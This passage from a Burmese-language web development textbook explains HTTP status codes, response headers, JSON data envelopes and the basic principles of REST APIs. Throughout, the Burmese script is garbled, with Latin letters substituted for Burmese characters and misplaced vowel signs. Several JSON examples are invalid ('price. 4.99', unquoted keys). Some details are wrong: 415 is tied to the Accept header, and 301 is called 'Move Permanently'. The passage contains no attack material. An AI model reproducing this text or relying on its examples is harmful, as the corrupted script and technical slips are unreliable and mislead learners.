Status Code ကို gပန်ကြေပးနိုင်oုိ့ လုိအပ်တဲ့အတွက် Code ကြေတရွဲ့ အဓိပ္ပါယ်ကို သတိgပုမှတ်သားကြေပးပါ။
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200 OK – ဆက်သွယ်မှုကိုလက်ခံရရှိပြပီး လုပ်ငန်းအားလုံး ကြေအာင်gမင်တဲ့အခါ ဒီ Code ကိုgပန်ပုိ့ကြေပးရမှာပါ။
Request Method yာနဲ့ပဲလာလာ ကြေအာင်gမင်တယ်ဆိုရင် သံုးနိုင်ပါတယ်။

201 Created –  ဆက်သွယ်မှုကိုလက်ခံရရှိပြပီး  အချက်အလက်သစ်  တည်ကြေဆာက်ကြေအာင်gမင်တဲ့အခါ
gပန်ပုိ့ကြေပးရမှာပါ။ အများအားgoင့် POST သုိ့မဟုတ် PUT Method နဲ့လာတဲ့ Request ကြေတွကို တံုg့ပန်oုိပ့ါ။

202 Accepted –  ဆက်သွယ်မှုကို ကြေအာင်gမင်စွာလက်ခံရရှိတယ်၊ လုပ်စရာရှိတာ ဆက်လုပ်ထားလုိက်
မယ်လုိ ့ကြေgပာတာပါ။ လက်ခံရရှိကြေeကာင်းသက်သက်ပဲ အကြေeကာင်းgပန်လုိတဲ့အခါ သံုးနိုင်ပါတယ်။

204  No  Content –  ဆက်သွယ်မှုကို  လက်ခံရရှိတယ်၊  ကြေအာင်gမင်တယ်၊  ဒါကြေပမယ့်  gပန်ပုိစ့ရာ
အချက်အလက် မရှိတဲ့အကြေgခအကြေနမျ ို းမှာ သံုးနိုင်ပါတယ်။ ဥပမာ DELETE Method နဲ့လာတဲ့ Request မျ ို း
ပါ။ oျက်လုိက်တယ်၊ ကြေအာင်gမင်တယ်၊ ဒါကြေပမယ့် yာမှgပန်မပုိ့ကြေတာ့yူး ဆိုတဲ့သကြေyာပါ။

301 Move Permanently –  အချက်အလက်ရဲ့  တည်ကြေနရာကြေgပာင်းသွားကြေeကာင်း အသိကြေပးoုိ့ သုံးပါ
တယ်။ Redirect ဆိုတဲ့သကြေyာပါ။ ဥပမာ - /items ကိုလုိချင်တယ်လုိ့ Client က Request လုပ်လာကြေပ
မယ့် /items ကမရှိyူး၊  /products ပဲ ရှိတယ်ဆိုရင်  301 ကို  Location Header နဲတ့ွဲပြပီး gပန်ပုိန့ိုင်ပါ
တယ်။ ဥပမာ ဒီလုိပါ။

 Request 

GET /items
Content-Type: application/json

 Response 

301 Move Permanently
Location: http://domain/products
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307 Temporary Redirect – နံပါတ်ကြေကျာ်ပြပီး 307 ကို ကြေgပာလုိက်တာ သကြေyာသyာဝ တူလုိ့ပါ။
တည်ကြေနရာ ကြေgပာင်းသွားကြေeကာင်း ကြေgပာတာပါပဲ။ Redirect အတွက် သံုးပါတယ်။ ကွာသွားတာက 301     ဆို  

ရင်  အပြပီးကြေgပာင်းတာ  ကြေနာက်gပန်မလာနဲ့ကြေတာ့လုိ့  အဓိပ္ပါယ်ရပြပီး    307     ဆိုရင်ကြေတာ့  ခဏကြေgပာင်းတာ၊  
ကြေနာက်gပန်လာချင် လာခဲ့ ဆိုတဲ့သကြေyာမျ ို း အဓိပ္ပါယ်ရပါတယ်။

304 Not Modified –  ဒါကအများအားgoင့်  Cache  အတွက်အသုံးပါတယ်။ ရုိးရုိး  Web Application
ကြေတွမှာ  ဒီ  Status  Code  ကို  အပြမဲလုိလုိကြေတွ့ရကြေပမယ့်  API  မှာကြေတာ့  အသုံးနည်းပါတယ်။  Client  က
Request  လုပ်တဲ့အခါမှာ  If-Modified-Since Header  ကိုသုံးပြပီးကြေတာ့ အကြေgပာင်းအလဲရှိမှကြေပးပါလုိ့
ကြေgပာလုိရ့တယ်။ ဒါဆိုရင် Server က စစ်eကည့်ပြပီးကြေတာ့ အကြေgပာင်းအလဲမရှိရင် Data ကို gပန်မကြေပးကြေတာ့yဲ
304 Not Modified လုိ့ ကြေgပာလုိက်လုိ့ ရတဲ့သကြေyာပါ။ 

400 Bad Request – Client   ရဲ့   Request   က   မgပည့်စံုရင် (သုိမ့ဟုတ်) တစ်ခခုု မှားကြေနရင် gပန်ကြေပးတဲ့
Error Code ပါ။

401 Unauthorized – Client က Request လုပ်လာကြေပမယ့်၊ အ့ဲဒီကြေနရာကိုဝင်ခွင့်မရှိတဲ့အခါ ဒီ Code
ကို Error အကြေနနဲ့ကြေပးရပါတယ်။ 

Security မှာ Authentication နဲ့  Authorization ဆိုပြပီး နှစ်မျ ို းရှိပါတယ်။ ကြေလ့လာစမှာ ဒီနှစ်ခုကို ခပ်ဆင်
ဆင်goစ်ကြေနလုိ့  ကြေရာeကပါတယ်။ မျက်စိလည်eကပါတယ်။ အကျဉ်းချုပ်ကြေgပာရရင်  Authentication    ဆိုတာ  
ဝင်ခွင့်ရှိမရှိစစ်တာပါ။  Login  ဝင်လုိက်ရင်  Authenticate  goစ်သွားတယ်၊ ဝင်ခွင့်ရသွားတယ် ဆိုပါကြေတာ့။
Authorization    ဆိုတာကကြေတာ့  လုပ်ခွင့်ရှိမရှိစစ်တာပါ  ။  ဝင်ခွင့်ရှိရင်ကြေတာင်  လုပ်ခွင့်က  ရှိချင်မှ  ရှိမှာပါ။
Authenticate  goစ်ကြေနကြေပမယ့်  Authorize  goစ်ချင်မှ goစ်တာပါ။ ဒီလုိကြေရာတတ်တဲ့ကိစ္စကိုမှ  ထပ်ပြပီးမျက်စိ
လည်စရာ goစ်သွားနိုင်တာကြေကာ့ 401 Unauthorized မှာ အသုံးအနှုန်း  Unauthorized လုိ့ ပါကြေနကြေပ
မယ့် တစ်ကယ်တမ်း  Authenticate  လုိတဲ့ကြေနရာမှာ သုံးရတာပါတဲ့။  Authorize  လုိတဲ့ကြေနရာကြေတွအတွက်
403 Forbidden ကို သုံးရပါတယ်။
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403 Forbidden – Client က Request လုပ်လာကြေပမယ့် သူ့မှာ အ့ဲဒီအလုပ်ကို လုပ်ခွင့်မရှိတဲ့အခါ 403
Forbidden ကို Error Code အကြေနနဲ့ gပန်ကြေပးရပါတယ်။

404 Not Found – မရှိတဲ့အရာတစ်ခုကို Client က Request လုပ်ယူoုိ့ကြကိုးစားတဲ့အခါ ကြေပးရတဲ့ Error
Code  goစ်ပါတယ်။  ဒီဟာကကြေတာ့  ကျွနက်ြေတာ်တို့  အင်တာနက်ကြေပါ်မှာ  မeကာခဏ  ကြေတွ့ oူးကြေနeကပါ။
Request  URL  မှားကြေနတာ  (သုိ့မဟုတ်)  အရင်က မှန်ကြေပမယ့် အခုoျက်ထားလုိက်လုိ့  မရှိကြေတာ့တာမျ ို းမှာ
ကြေပးရမှာပါ။

405 Method Not Allowed – တစ်ချ ို ့  URL ကြေတွကို အသုံးgပုခွင့်ရှိတဲ့  Method နဲ့ မရှိတဲ့  Method
ကြေတွ ခွဲပြပီးသတ်မှတ်ထားမယ်ဆို သတ်မှတ်ထားလုိ့ ရပါတယ်။ ဥပမာ /users ဆိုတဲ့  URL အတွက်  GET
နဲ့ POST လက်ခံကြေပမယ့် DELETE လက်မခံyူး ဆိုeကပါစို။့ Client က /users ကို DELETE Method နဲ့
Request လုပ်လာတဲ့အခါ 405 ကို gပန်ကြေပးနိုင်ပါတယ်။

409 Conflict – Database Table တစ်ခုထဲမှာ Record အသစ်တစ်ကြေeကာင်း ထည့်လုိက်တယ်ဆိုရင်
Auto-Increment နဲ့ ID gပန်ရကြေလ့ ရှိပါတယ်။ Auto-Increment မသုံးရင်လည်း တgခားနည်းလမ်း တစ်ခုခုနဲ့
Unique goစ်တဲ့ Key/ID တစ်ခုခုကို gပန်ရကြေလ့ ရှိပါတယ်။ ဒါကြေeကာင့် အသစ်ထည့်လုိရင် ID ကြေတွ Key ကြေတွမ
ကြေပးရပါyူး။ ဒါကြေeကာင့် အသစ်တည်ကြေဆာက်ပါလုိ့ကြေgပာတဲ့  Request  ကြေတွမှာ  ID  ကြေပးလာတဲ့အခါ လက်မခံ
သင့်ပါyူး။ အ့ဲဒီလုိ ID   ကြေပးပြပီး အသစ်ကြေဆာက်ခိုင်းကြေနရင်   409 Conflict ကို  Error Code အကြေနနဲ့ gပန်
ကြေပးကြေလ့ရှိပါတယ်။

415 Unsupported Media Type –  Client  က  Accept Header  နဲ့  သူလုိချင်တဲ့  Response
Body Format ကို ကြေgပာလုိရ့တယ်လုိ့ ကြေgပာခဲ့ပါတယ်။ အကယ်၍ Client   က လုိချင်တဲ့   Format   ကို   Server  
က      Support   မလုပ်ရင်   415 ကို Error Code အကြေနနဲ့ gပန်ကြေပးရပါတယ်။

418 I"m a Teapot – ဟာသသကြေyာနဲ့ ထည့်ထားတဲ့ Error Code ပါ။ ဟာသဆိုကြေပမယ့် တစ်ကယ်ရှိ
ပါတယ်။  Client  က Server  ကို ကြေကာ်oီတစ်ခွက်ကြေပးပါလုိ့  Request  လုပ်လာခဲ့ရင်  418 ကို  Error Code
အကြေနနဲ့ gပန်ကြေပးရတာပါ။ Teapot မုိလုိ့့လက်yက်ရည်ပဲရမယ်၊ ကြေကာ်oီမရyူးလုိ ့ကြေgပာလုိက်တဲ့ သကြေyာပါ။
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429 Too Many Requests – Server ကြေတွမှာ လက်ခံနိုင်တဲ့ Request အကြေရအတွက် အကန့်အသတ်
ရှိeကပါတယ်။ ဥပမာ -  တစ်မိနစ်မှာ  Client  တစ်ခုဆီက Request  အကြကိမ်  (၆၀) ပဲ လက်ခံမယ်ဆိုတာမျ ို း
ပါ။ သတ်မှတ်ထားတဲ့   Request   အကြကိမ်ကြေရကြေကျာ်သွားပြပီဆိုရင်   429 ကို Error အကြေနနဲ့ gပန်ကြေပးနိုင်ပါတယ်။

500 Internal Server Error – Client Request က အဆင်ကြေgပကြေပမယ့် Server yက်မှာ Error
goစ်ကြေနတဲ့အခါ gပန်ကြေပးရတဲ့ Code ပါ။ yာ   Error   မှန်းမသိတဲ့အခါ   (သုိ့မဟုတ်) yာ Error လည်း မကြေgပာgပ
ချင်တဲ့အခါ 500 ကို gပန်ကြေပးeကပါတယ်။

502 Bad Gateway – Server ကြေတဟွာ အချင်းချင်း ဆက်သွယ်ပြပီးကြေတာ့လည်း အလုပ်လုပ်oုိ့ လုိတတ်
ပါတယ်။  Client  Request  ကို  လက်ရှိ  Server  က  လက်ခံရရှိကြေပမယ့်  လုိအပ်လုိ့  ကြေနာက်  Server  ကို
ထပ်ဆင့် ဆက်သွယ်တဲ့အခါ အဆင်မကြေgပyူးဆိုရင် 502 ကို gပန်ကြေပးကြေလ့ရှိeကပါတယ်။

503 Service Unavailable –  Server  ကြေတွမှာ  တစ်ချနိ်တည်း  တစ်ပြပိုင်းတည်း  Concurrent
လက်ခံအလုပ်လုပ်နိုင်တဲ့ ပမာဏအကန့်အသတ်ရှိပါတယ်။ ဥပမာ - Client အခု (၂၀) ကိုပဲ တစ်ပြပိုင်တည်း
လက်ခံ  အလုပ်လုပ်နိုင်တယ်  ဆိုတာမျ ို းပါ။  တစ်ပြပိုင်တည်း  ဆက်သွယ်တဲ့    Client    က  သတ်မှတ်  
အကြေရအတွက် ကြေကျာ်သွားတဲ့အခါ 503 ကို gပန်ကြေပးeကပါတယ်။

မှတ်စရာနည်းနည်းများတယ်လုိ့  ဆိုနိုင်ကြေပမယ့်၊  အခက်ကြကီးကြေတာ့လည်း  မဟုတ်ပါyူး။  ကြကိုးစားမှတ်သား
ထားကြေပးပါ။ API ဒီဇုိင်းမှာ Request Method ကြေတွနဲ့ Status Code ကြေတဟွာ အကြေရးအကြကီးဆံုးအစိတ်အပုိင်း
ကြေတွလုိ ့ဆိုနိုင်ပါတယ်။

ဆက်လက်ပြပီး Response Header ကြေတွအကြေeကာင်းကြေလ့လာeကပါမယ်။
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Response Headers
Response Headers ကြေတွထဲမှာ Content-Type နဲ့ Location တိုက့ိုပဲ အရင်eကည့်ရမှာပါ။ Request
Headers  အကြေeကာင်း  ကြေgပာခဲ့တံုးကနဲ့  သကြေyာသyာဝ  အတူတူပါပဲ။  Content-Type Header  ကို
အသုံးgပုပြပီးကြေတာ့  Response Body  ရဲ့  Content Type  ကို  သတ်မှတ်ကြေပးရမှာပါ။  Response Body  က
လည်း၊ Request Body လုိပဲ JSON ပဲ goစ်ရမှာမုိလုိ့့ application/json ကိုပဲ အသံုးgပုရမှာပါ။ ဒါကြေပ
မယ့် Request Body မှာလုိ URL Encoded ကိုကြေတာ့ Response မှာ မသုံးeကပါyူး။ ဒါကြေeကာင့် Response
Body ရဲ့ Content Type အgoစ် JSON တစ်မျ ို းတည်းပဲ သံုးရမှာလုိ့ ဆိုနိုင်ပါတယ်။

Location Header ကိုကြေတာ့ အထူးသgoင့် POST နဲလ့ာတဲ့ Request ကြေတွအတွက် သုံးပါတယ်။ ဒီလုိပါ -

 Request 

POST /products
Content-Type: application/json
{ name: "Book", price: 4.99 }

 Response 

201 Created
Content-Type: application/json
Location: http://domain/products/3
{ id: 3, name: "Book", price: 4.99 }

Request  က  POST  နဲ့လာတဲ့အတွက်  Request  Body  ကိုသုံးပြပီး  အချက်အလက်သစ်တစ်ခု  oန်တီး
ကြေပးလုိက်ပါတယ်။  ဒီလုိoန်တီးလုိက်တဲ့အတွက်  ထွက်လာတဲ့  ID  တန်oုိးက နမူနာအရ  3  ပါ။  ဒါကြေeကာင့်
Response မှာ Status Code အကြေနနဲ့ 201 Created ကိုသုံးပြပီးကြေတာ့ Headers မှာ Location ကိုသုံး
ပြပီး oန်တီးလုိက်တဲ့ Record ကို gပန်eကည့်ချင်ရင် eကည့်လုိရ့တဲ့ URL ကို တွဲကြေပးလုိက်တာပါ။

တgခား  Headers  ကြေတွလည်း သူ့ကြေနရာနဲသူ့အကြေရးကြကီးကြေပမယ့်  Request  တံုးကလုိပဲ  လက်ကြေတွ့အသုံးgပုရ
မယ့် Headers ကြေတွကိုပဲ ကြေရွးeကည့်ချင်တဲ့ သကြေyာပါ။
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• Access-Control-Allow-Credentials
• Access-Control-Allow-Origin
• Access-Control-Allow-Methods
• Access-Control-Allow-Headers
• Cache-Control
• Content-Encoding
• Content-Length
• Content-Type
• Expires
• Server
• Last-Modified
• Location
• Set-Cookie
• WWW-Authenticate
• X-Rate-Limit-Limit *
• X-Rate-Limit-Remaining *
• X-Rate-Limit-Reset *

ဒီထဲက Access-Control-* နဲ့ စတဲ့  Headers ကြေတွအကြေeကာင်းကိကုြေတာ့ CORS လုိ့ကြေခါ်တဲ့ နည်းပညာ
အကြေeကာင်း  ကြေရာက်ကြေတာ့မှ  ထည့်ကြေgပာပါမယ်။  X-Rate-* နဲ့  စတဲ့  Headers  ကြေတွကကြေတာ့  Standard
Headers ကြေတွ မဟုတ်eကပါyူး၊ ဒါကြေပမယ့် API ဒီဇုိင်းအတွက် အသံုးများeကတဲ့ Custom Headers ကြေတွပါ။
ကြေနာက်တစ်ခန်းကြေကျာ်မှာ ဒီအကြေeကာင်း ထည့်ကြေgပာသွားမှာပါ။

Response Body
Response Body ဟာ JSON Format goစ်ရမှာပါ။ ဒီကြေနရာမှာ Data ကို ပံုစံနှစ်မျ ို းနဲ့ gပန်ကြေပးလုိရ့ပါတယ်။
အရှိအတိုင်းgပန်ကြေပးလုိရ့သလုိ  Data  Envelope  နဲထ့ည့်ပြပီးကြေတာ့လည်း  gပန်ကြေပးလုိရ့ပါတယ်။  ဥပမာ  -
စာအုပ်စာရင်းတစ်ခု  JSON  Array  အကြေနနဲ့  ရှိတယ်ဆိုပါစို။့  ဒါကို  အရှိအတိုင်း  gပန်ကြေပးမယ်ဆိုရင်  သူ့ရဲ့
oဲွ့စည်းပံုက ဒီလုိgoစ်နိုင်ပါတယ်။

 JSON 

[
{ id: 1, title: "React", price: 4.99 },
{ id: 2, title: "Laravel", price: 4.99 },
{ id: 3, title: "API", price. 4.99 }

]
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အရှိအတိုင်း၊ ဒီအတိုင်းမကြေပးပဲ Data Envelope နဲ့ အုပ်ပြပီးကြေတာ့ အခုလုိလည်း gပန်ကြေပးလုိရ့ပါတယ်။

 JSON 

{
data: [

{ id: 1, title: "React", price: 4.99 },
{ id: 2, title: "Laravel", price: 4.99 },
{ id: 3, title: "API", price. 4.99 }

]
}

သတိထားeကည့်ပါ ကွာပါတယ်။  Data  Envelope  နဲ့  ထည့်ကြေပးတဲ့အတွက်  yာထူးသွားလည်းဆိုကြေတာ့
တgခား ဆက်စပ်အချက်အလက် (Meta information) ကြေတွကိုပါ တွဲထည့်ကြေပးလုိ့ ရနိုင်သွားပါတယ်။ ဒီလုိပါ
-

 JSON 

{
success: true,
total: 3,
data: [

{ id: 1, title: "React", price: 4.99 },
{ id: 2, title: "Laravel", price: 4.99 },
{ id: 3, title: "API", price. 4.99 }

]
}

Data နဲအ့တူ တgခားဆက်စပ်အသုံးဝင်နိုင်တဲ့ အချက်အလက်တစ်ချ ို ့ပါ ပါဝင်သွားတာပါ။ အကယ်၍ Error
ကြေတyွာကြေတွ ရှိခဲ့ရင်လည်း ဒီလုိပံုစံ goစ်သွားနိုင်ပါတယ်။

 JSON 

{
success: false,
errors: {

code: 123,
message: "Cannot get book list"

}
}
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ဒီကြေတာ့  Response Body  မှာ  Data  ကို ဒီအတိုင်းgပန်ကြေပးမယ့်အစား  Data Envelope  နဲ့gပန်ကြေပးတာက ပုိ
ကြေကာင်းတယ်လုိ့ ဆိုeကသူကြေတွ ရိှပါတယ်။ ဒါကြေပမယ့် တစ်ချ ို ့ကလည်း ဒါဟာ  Standard  နဲမ့ညီyူးလုိ့  ဆို
eကပါတယ်။ Meta Information ကြေတွကို တဲွပြပီးကြေတာ့ ကြေoာ်gပချင်ရင်၊ Data Envelope နဲစ့ုထည့်မှ မဟုတ်ပါ
yူး၊ Headers မှာ Custom Header အကြေနနဲ့ ထည့်ကြေပးလုိက်လုိလ့ည်း ရတာပဲလုိ့ ဆိုeကပါတယ်။ ဥပမာ - န
မူနာကြေပးထားတဲ့အထဲကဆိုရင်  success တို့  errors.code တိုဆ့ိုတာ လုိကြေတာင်မလုိပါyူး။  Status
Code ကြေတွ ရှိကြေနတာပဲ။  Status Code ကိုeကည့်လုိက်ယုံနဲ့ သိကြေနရပြပီကြေလ။ ကျန်တဲ့  errors.message
လုိဟာမျ ို း သီးgခား ကြေပးoုိ့လုိအပ်ရင်  X-Error-Message ဆိုပြပီးကြေတာ့ Custom Header  အကြေနနဲ့ ထည့်
ကြေပးလုိက်လုိ့  ရနိုင်ပါတယ်။  Data  ထဲမှာ သွားကြေရာကြေပးစရာမလုိပါyူးလုိ့  ကြေgပာeကပါတယ်။ ဒါကကြေတာ့  API
Developer ကြေတွeကားထဲမှာ ရှိကြေနeကတဲ့ မတူကွဲgပားတဲ့အgမင်ပါ။

လက်ကြေတွ့မှာ Header ကြေတွထက်စာရင် Data Envelope ထဲက အချက်အလက်ကြေတွက ပုိပြပီးကြေတာ့ အသုံးgပု
ရ လွယ်လုိ့  Data Envelope နဲ့ပဲ ပုိပြပီးကြေတာ့ အသုံးများeကပါတယ်။ Data Envelope ထဲမှာ yာကြေတွပါရမှာ
လဲဆိုတာကိုကြေတာ့ ကြေနာက်တစ်ခန်းကြေကျာ်ကျကြေတာ့မှ ဆက်eကည့်eကပါမယ်။
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အခန်း (၆၉) – RESTful API

REST ဆိုတာ Representational State Transfer ရဲ့ အတိုကြေကာက်goစ်ပြပီး၊ Service ကြေတွoန်တီးတဲ့အခါမှာ
လုိက်နာoုိ့  သတ်မှတ်ထားတဲ့  Architecture Design  လမ်းညွှန်ချက်goစ်ပါတယ်။  Roy Fielding  လုိကြေခါ်တဲ့
ကွန်ပျူတာသိပ္ပံပညာရှင်တစ်ဦးက Ph.D စာတမ်းအgoစ် (၂၀၀၀) gပည့်နှစ်မှာ တင်သွင်းခဲ့တာပါ။ ဒါကြေပမယ့်
သူက (၁၉၉၄) ခုနှစ်ကြေလာက်တည်းက ဒီနည်းစနစ်ကြေတွကိုသုံးပြပီးကြေတာ့ HTTP ကို ပူးကြေပါင်းတီထွင်ကြေပးခဲ့တာ
ပါ။ ဒါကြေeကာင့် REST   က   Architecture   goစ်ပြပီး   HTTP   က အ့ဲဒီ   Architecture   ကိုအသုံးgပုထားတဲ့ နည်းပညာ  
လုိ့ ဆိုနိုင်ပါတယ်။

Service ကြေတရွဲ့သကြေyာသyာဝကို ပထမဆံုးအခန်းမှာ ကြေgပာခဲ့ပြပီးgoစ်ပါတယ်။ Service ကြေတွနဲပ့က်သက်ရင်
RESTful Web Service လုိ့ကြေခါ်တဲ့ အသုံးအနှုန်းတစ်ခုရှိပါတယ်။ ဆိုလုိတာက စနစ်ကျတဲ့  Service  တစ်ခု
goစ်oုိဆ့ိုရင်  RESTful  goစ်ရမယ်၊  REST Architecture Design    လမ်းညွှန်ချက်များနဲ့  ကိုက်ညီရမယ်   ဆိုတဲ့
အဓိပ္ပါယ်ပါ။ တစ်ကယ်ကြေတာ့ HTTP ကိုအသုံးgပုတဲ့  Service goစ်တာနဲတ့င် RESTful Service goစ်ပြပီးကြေနပြပီ
လုိ့ ဆိုနိုင်ပါတယ်။ HTTP ကိုယ်တိုင်က REST ကို လုိက်နာပြပီး တီထွင်ထားတာ မုိလုိ့့ပါ။

RESTful Services
ဒါကြေပမယ့်  HTTP    ကို သုံးကြေနတာပဲ ဆိုယံုကြေလာက်နဲ့  ကြေကျနပ်လုိမ့ရကြေသးပါyူး  ။  REST  ရဲ့ သကြေyာ သyာဝ
ကြေတွကို  ကိုယ်တိုင်နားလည် ကျင့်သံုးကြေပးoုိလ့ည်း လုိအပ်ပါကြေသးတယ်။ မဟုတ်ရင်  HTTP  သုံးထားကြေပမယ့်
REST  သတ်မှတ်ချက်များနဲ့  မကိုက်ညီတာမျ ို း goစ်ကြေနနိုင်ပါတယ်။ စနစ်မကျကြေတာ့တာမျ ို း goစ်နိုင်ပါတယ်။
ဒါကြေeကာင့် REST ရဲ့ သကြေyာသyာဝ အနှစ်ချုပ်ကို အခုလုိမှတ်ပါ။



PWD 2023 – အခန်း (၆၉) – RESTful API 846

Client  နဲ့  Server  တိုအ့eကား  အချက်အလက်ကြေတွ  oလှယ်တဲ့အခါ  အ့ဲဒီအချက်အလက်ကြေတွဟာ
Representable goစ်ရပါမယ်။ ဆိုလုိတာက အgပန်အလှန်  oလှယ်eကတဲ့ အချက်အလက်ကြေတွကို ကွန်ပျူတာ  
စနစ်ကြေတွက နားလည်အလုပ်လုပ်နိုင်သလုိ၊ လူကြေတွကလည်း oတ်ရှုနားလည်နိုင်ရမယ် ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ 

ဥပမာ -

/products/123/reviews ဆိုတဲ့  URL  ကို  ကွန်ပျူတာစနစ်goစ်တဲ့  HTTP  Server  က နားလည်
အလုပ် လုပ်နိုင်သလုိ၊ လူတစ်ကြေယာက်က oတ်eကည့်ရင်လည်း yာကိုဆိုလုိတယ်ဆိုတာ နားလည်နိုင်ကြေစပါ
တယ်။  /xyz987/a(12)3+b45?q=678#rtyez ဆိုရင်ကြေတာ့ ကွန်ပျူတာက နားလည် အလုပ်လုပ်
ကြေပးနိုင်တဲ့ URL goစ်ကြေကာင်းgoစ်ကြေပမယ့် လူကကြေတာ့ oတ်ရှုနားလည်မှာ မဟုတ်ကြေတာ့ပါyူး။

URL တင်မကပါyူး။ gပန်သုံးသပ်eကည့်မယ်ဆိုရင် Request Methods ကြေတ၊ွ Response Status Code ကြေတွ
Headers  ကြေတွအားလံုးဟာလည်း  ကွန်ပျူတာစနစ်ကြေတွသာမက  လူကြေတွoတ်ရှု  နားလည်နိုင်စွမ်းရှိတဲ့
သတ်မှတ်ချက်ကြေတွ goစ်တယ်ဆိုတာကို  ကြေတွ့ရမှာပါ။ ဒါဟာ  HTTP  က မူလကတည်းက  Representable
goစ်ကြေနgခင်းgoစ်တယ်လုိ့  နားလည်ရမှာgoစ်ပြပီး  အ့ဲဒီလုိ    Representable    goစ်ကြေနတာကို  ကိုယ့်ရဲ့အသံုးgပု  ပုံ  
အမှား  ကြေeကာင့် မပျက်စီးကြေစoုိ ့လုိအပ်  ပါတယ်  ။

ကြေနာက်ထပ်  REST  ရဲ့  အကြေရးပါတဲ့  သကြေyာသyာဝကကြေတာ့  Stateless goစ်ရမယ်ဆိုတဲ့  သတ်မှတ်ချက်ပါ
တယ်။  HTTP  က  Stateless  goစ်ပြပီးသားပါ။  Client  က  Server  ကို  ဆက်သွယ်တဲ့အခါ  Server  က
အကြေeကာင်းgပန်ပါတယ်။  ဒါကြေပမယ့်  အ့ဲဒီဆက်သွယ်မှုကို  မှတ်မထားပါyူး။  ဒါကြေeကာင့်  ကြေနာက်တစ်ကြကိမ်
ဆက်သွယ်တဲ့အခါ   Server   က ဆက်သွယ်မှု အသစ်တစ်ခုအကြေနနဲ့ပဲ လက်ခံအလုပ်လုပ်သွားမှာပါ  ။ အရင်က
လာoူးတယ်၊ အဆင်ကြေgပရဲ့လား၊ စသgoင့် အ့ဲဒါမျ ို းကြေတွ တစ်ခုမှမရှိyဲ yယ်နှစ်ကြကိမ် ဆက်သွယ်မှုကို gပုလုပ်
လာပါကြေစ  တစ်ခါမှ  မလာoူးတဲ့၊  သူစိမ်းတစ်ကြေယာက်လုိပဲ  အပြမဲဆက်ဆံ  တံု့gပန်သွားမှာ  goစ်ပါတယ်။  ဒီ
သကြေyာသyာဝကို Stateless goစ်တယ်လုိ့ ဆိတုာပါ။ ဒီလုိ Stateless goစ်gခင်းကြေeကာင့်ရလာမယ့် အားသာ
ချက်ကြေပါင်းများစွာ ရှိပါတယ်။ အgမင်သာဆံုးကကြေတာ့ Client အကြေနနဲ့ အရင်ဆက်သွယ်မှုကြေတွနဲ့ gပန်လည်ချနိ်
ညိှကြေနစရာ  မလုိကြေတာ့yဲ၊  အသစ်တစ်ခုကဲ့သုိ့  အပြမဲဆက်သွယ်နိုင်တဲ့အတွက်  ဆက်သွယ်ရ  လွယ်ကူရုိးရှင်း
သွားgခင်းပဲ goစ်ပါတယ်။
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REST  ဆိုတာ  Ph.D  စာတမ်းကြကီးတစ်ကြေစာင်goစ်လုိ့  ကျယ်gပန့်လှပါတယ်။ ဒါကြေပမယ့် လက်ကြေတွ့အသုံးgပုoုိ့
အတွက်ဆိုရင်ကြေတာ့  ဒီနှစ်ချက်ကို  မှတ်သားထားရင်  လံုကြေလာက်ပါပြပီ။  (၁)  ဆက်သွယ်ကြေပးပုိတ့ဲ့  အချက်
အလက်ကြေတွဟာ ကွန်ပျူတာသာမက လူကပါ oတ်ရှုနားလည်နိုင်စွမ်း ရှိရမယ်။  (၂)  ဆက်သွယ်မှုကြေတွဟာ
Stateless  goစ်ကြေနရမယ်။ ဒါပါပဲ။ ဒီနှစ်ချက်ကို  နားလည်လုိက်နာပြပီး  HTTP  ရဲ့ မူလသတ်မှတ်ချက်ကြေတွကို
မှန်မှန်ကန်ကန်  အသံုးgပုသွားမယ်ဆိုရင်  ကျွန်ကြေတာ်တို့  တည်ကြေဆာက်မယ့်  Service  ကြေတွဟာ စနစ်ကျတဲ့
RESTful Service ကြေတွ goစ်ကြေနမှာပဲ goစ်ပါတယ်။

RESTful API
API ဆိုတာဟာ Service  ကို ဆက်သွယ်အသံုးgပုရန်နည်းလမ်း လုိအ့ကြေပါ်မှာ ရှင်းခဲ့ပါတယ်။ Web Service
တစ်ခုကို ဆက်သွယ်အသံုးgပုလုိတဲ့အခါ  URL  အပါအဝင်  Request  ကြေတွကို အသုံးgပုရပါတယ်။ ဒါကြေeကာင့်
API    ဒီဇုိင်းတစ်ခု    RESTful    goစ်oုိဆ့ိုတာ ဒီ    URL   နဲ့    Request    ကြေတွရဲ့oဲွ့စည်းပံုကို စနစ်ကျကြေအာင် သတ်မှတ်  
တာပါပဲ။  ဒီလုိသတ်မှတ်တဲ့အခါ  မူလ  HTTP  ရဲ့  သကြေyာသyာဝကကြေန  ကြေသွoီgခင်းမရှိကြေစyဲ  ကိုယ့်နည်း
ကိုယ်ဟန်နဲ့ စတိ်တိုင်းကျ သတ်မှတ်လုိရ့နိုင်ပါတယ်။ ဒါကြေပမယ့် ကကြေနက့ြေခတ်မှာ ဒီလုိကိုယ့်နည်းကိုယ်ဟန်နဲ့
တစက်ြေကျာင်းတစ်ပုဒ်ဆန်း ထွင်ပြပီးလုပ်ကြေနစရာ မလုိကြေတာ့ပါyူး။ လူတိုင်းလုိလုိက လက်ခံပြပီး ကျင့်သံုးကြေနတဲ့
နည်းကြေတွ ရိှကြေနပါပြပီ။ ဒီနည်းကြေတွကို ဆက်ကြေgပာသွားမှာပါ။

API URL နဲပ့က်သက်ရင် အကြေခါ်အကြေဝါ် (၃) ခုကို အရင်မှတ်ထားoုိ့ လုိပါမယ်။ Resource, Action နဲ့ ID ပါ။
Resource  ဟာ  ကြေဆာင်ရွက်မယ့်  လုပ်ငန်းရင်းgမစ်goစ်ပါတယ်။  Data  goစ်ပါတယ်။  ဥပမာအားgoင့်၊
Products, Customers, Users, Students, Books, Records, Places  စသgoင့် goစ်နိုင်ပါတယ်။  Action
ကကြေတာ့ အ့ဲဒီ Resource Data ကြေပါ်မှာ သက်ကြေရာက်မယ့် လုပ်ငန်းကြေတွပါ။ ဥပမာအားgoင့် Create Product,
View Customers, Update User, Delete Student, Increase Book, Change Record, Cancel Place စ
သgoင့် goစ်နိုင်ပါတယ်။ ID ကကြေတာ့ စုoဲွ့ပြပီးရှိကြေနတဲ့ Resource Data Collection ထဲက Specific Resource
တစ်ခုကို တိတိကျကျညွှန်းoုိ့ အတွက် သတ်မှတ်ထားတဲ့ Unique Key ကိုကြေgပာတာပါ။

API  URL  ကြေတွ  သတ်မှတ်oုိ့အတွက်  ဒီ  (၃)  ချက်ကို  စုoဲွ့တည်ကြေဆာက်ရမှာပါ။  ဒီလုိတည်ကြေဆာက်တဲ့အခါ
